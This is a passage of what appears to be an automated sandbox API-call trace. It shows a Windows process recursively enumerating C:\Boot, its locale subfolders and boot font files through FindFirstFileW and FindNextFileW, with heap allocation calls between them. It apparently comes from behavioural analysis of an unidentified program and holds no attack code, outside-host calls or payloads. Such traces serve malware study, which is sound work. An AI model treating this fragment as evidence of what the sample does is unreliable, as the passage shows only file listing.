hFindFile=0x7522d0) returned 1 [0053.818] GetProcessHeap () returned 0x730000 [0053.818] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.818] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0053.818] GetProcessHeap () returned 0x730000 [0053.818] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.819] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.819] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.819] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.819] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.819] GetProcessHeap () returned 0x730000 [0053.819] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.819] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0053.819] GetProcessHeap () returned 0x730000 [0053.819] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.819] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.819] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.819] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0053.819] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0053.819] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.819] GetProcessHeap () returned 0x730000 [0053.819] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.819] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0053.820] GetProcessHeap () returned 0x730000 [0053.820] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.820] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.820] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.820] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.820] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.820] GetProcessHeap () returned 0x730000 [0053.820] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.820] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0053.820] GetProcessHeap () returned 0x730000 [0053.820] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.820] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.820] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.820] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.821] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.821] GetProcessHeap () returned 0x730000 [0053.821] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.821] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0053.821] GetProcessHeap () returned 0x730000 [0053.821] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.821] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.821] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0053.821] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0053.821] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0053.821] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0053.821] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0053.822] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0053.822] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.822] GetProcessHeap () returned 0x730000 [0053.822] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.822] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0053.822] GetProcessHeap () returned 0x730000 [0053.822] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.822] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.822] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.822] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.822] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.822] GetProcessHeap () returned 0x730000 [0053.822] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.822] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0053.823] GetProcessHeap () returned 0x730000 [0053.823] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.823] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.823] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.823] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.823] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.823] GetProcessHeap () returned 0x730000 [0053.823] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.823] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0053.823] GetProcessHeap () returned 0x730000 [0053.823] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, 